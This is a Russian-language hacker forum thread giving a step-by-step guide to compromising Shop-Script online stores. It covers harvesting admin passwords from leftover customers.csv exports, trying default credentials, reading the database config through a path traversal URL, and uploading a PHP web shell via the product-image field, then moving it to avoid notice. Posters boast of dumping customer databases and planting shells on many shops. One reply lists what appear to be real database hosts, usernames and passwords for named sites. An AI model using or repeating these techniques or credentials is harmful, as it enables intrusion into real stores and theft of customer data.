Взлом сайт на движке Shop-script Привет всем. Я долго изучал движок Интернет магазина Shop-script. Задавая вопросы на ачате искал уязвимости, и вот наконец-то мною бил обнаружен один косяк. Итак, одно прекрасной ночью, когда я сидел в очередной раз сидел и изучал имеющиеся файлы в архиве магазина мне в глаза попался замечательный файл customers.csv Этот файл создается, если в админке, в разделе "Покупатели" нажать "Экспортировать пользователей в Excel файл". Эту кнопку нажимают, чтоб иметь на компе базу своих пользователей, и конечноже тупые админы часто забывают эти файлы удалять. И именно здесь есть одна прелесть, а прелесть эта заключается в том, что админ тоже есть пользователь и входит в эту базу. База выглядит вот так Code: Login;Password;Email;First name;Last name;Country;ZIP;State;City;Address;Phone number; qwe;qwe;[email protected];qwe;qwe;qwe;qwe;qwe;qwe;qwe;654654; shop;shop;;;;;;;;;; qwe-это просто пользователь shop-это и есть админ, его выдает то, что он не заполнял свою анкету и инфы которая должна быть между ;; отсутствует, поэтому там просто ;;;;;;;;;; логин пас есть, слушаем дальше. По дефолту в шоп скрипте логин MANEGER, а пас 123, я встречал довольно таки много шопоф с стандартными настройками.. если же админ всеравно поменял и логин и па и заполнил инфу, то естественно он сливается с пользователями и его казалось би, хрен найдешь, но нет, все есть пару методоф. в адресной строке пишем http://адрес сайта точка ру/index.php?aux_page=../cfg/connect.inc.php в сорсах должна бить такая штука Code: define('DBMS', 'MYSQL'); // database system define('DB_HOST', 'localhost'); // database host define('DB_USER', 'shop'); // username define('DB_PASS', '159'); // password define('DB_NAME', 'shop'); // database name define('ADMIN_LOGIN', 'shop'); //administrator's login и тут опять два хода или берем, шел и конектимся к базе по эти настройкам, потом лезем SS_customers тама ищем юзера с именем указанном в define('ADMIN_LOGIN', 'shop'); логин пас есть идем лить шелл. Либо путь второй, смотрим define('ADMIN_LOGIN', 'shop'); и в файле customers.csv ищем юзера с таким логином, логин пас есть лезем в админку, льем шелл. Итак, вот мы все сделали, мы в админке, и хотим залить шелл, клацаем "Категории и товары"/[ Добавить ] потом в любое поле с фотками указываем путь к шеллу, тыцаем сохранить. Шел ждет вас по адресу http://адрес сайта точка ру/products_pictures/ваш shell.php заливаем в другое место на сервере шел, старый удаляем, это для того чтобы небыло такого что админ буит просматривать свой сайт, а тут бац на месте где должна быть фотка квадратик, и адрес к этому квадратику http://адрес сайта точка ру/products_pictures/ваш shell.php Спасибо Shop-Script'у за их магазин, статье журнала xakep В принципе все)))
Все это уже не актуально на двиге годичной давности! нет поля Password в customers.csv По дефолту в нормальнах магазах ничего никогда не стоит эта бага index.php?aux_page=../cfg/connect.inc.php исправлена лет пять назад Продолжая ретроспективу багов можно добавть закрыты скули в админ зоне найденые и выложенные киберлордами, пассивные xss которые присутствовали в старых версиях почти во всех полях шелл вроде еще можно залить через админку, но туда надо еще попасть P. S. если кто-то предлагает самую свежую версию скрипта в ней должны быть обязательно SMS-уведомления, модуль Яндекс.Маркет, изменен интерфейс админки Последняя версия на данный момент 1.24-061123
но кустумерс то остаёться, невнимательные админы всеравно забивают его удалить, и я написал как не только через index.php?aux_page=../cfg/connect.inc.php узнавать лог админа, и все остальное, в основном я акцентирую внимание на кустумерсе, я недавно сам написавши в гугле соотвецтвующий запрос, нашол много шопов, и посливал базы, позаливал шелов, повекрте таких магазов еще много!
Я года 3 назад ее юзал! http://xshop.com.ua/index.php?aux_page=./DB_USER:imax DB_PASS:ZMqAhAHX http://www.xshop.com.ua/phpmyadmin/ http://www.netpodarka.ru/index.php?aux_page=./ DB_HOST:mysql.nthost.ru DB_USER:samplea_admin DB_PASS:all4you2 $DB_HOST = '217.107.212.251'; // database host $DB_USER = 'rifeybi8_'; // username $DB_PASS = 'qjJlQK6L'; // password $DB_NAME = 'rifeybi8_new'; // database name И багу эту нашел тоже случайно, просто подставил ../ и все догнал!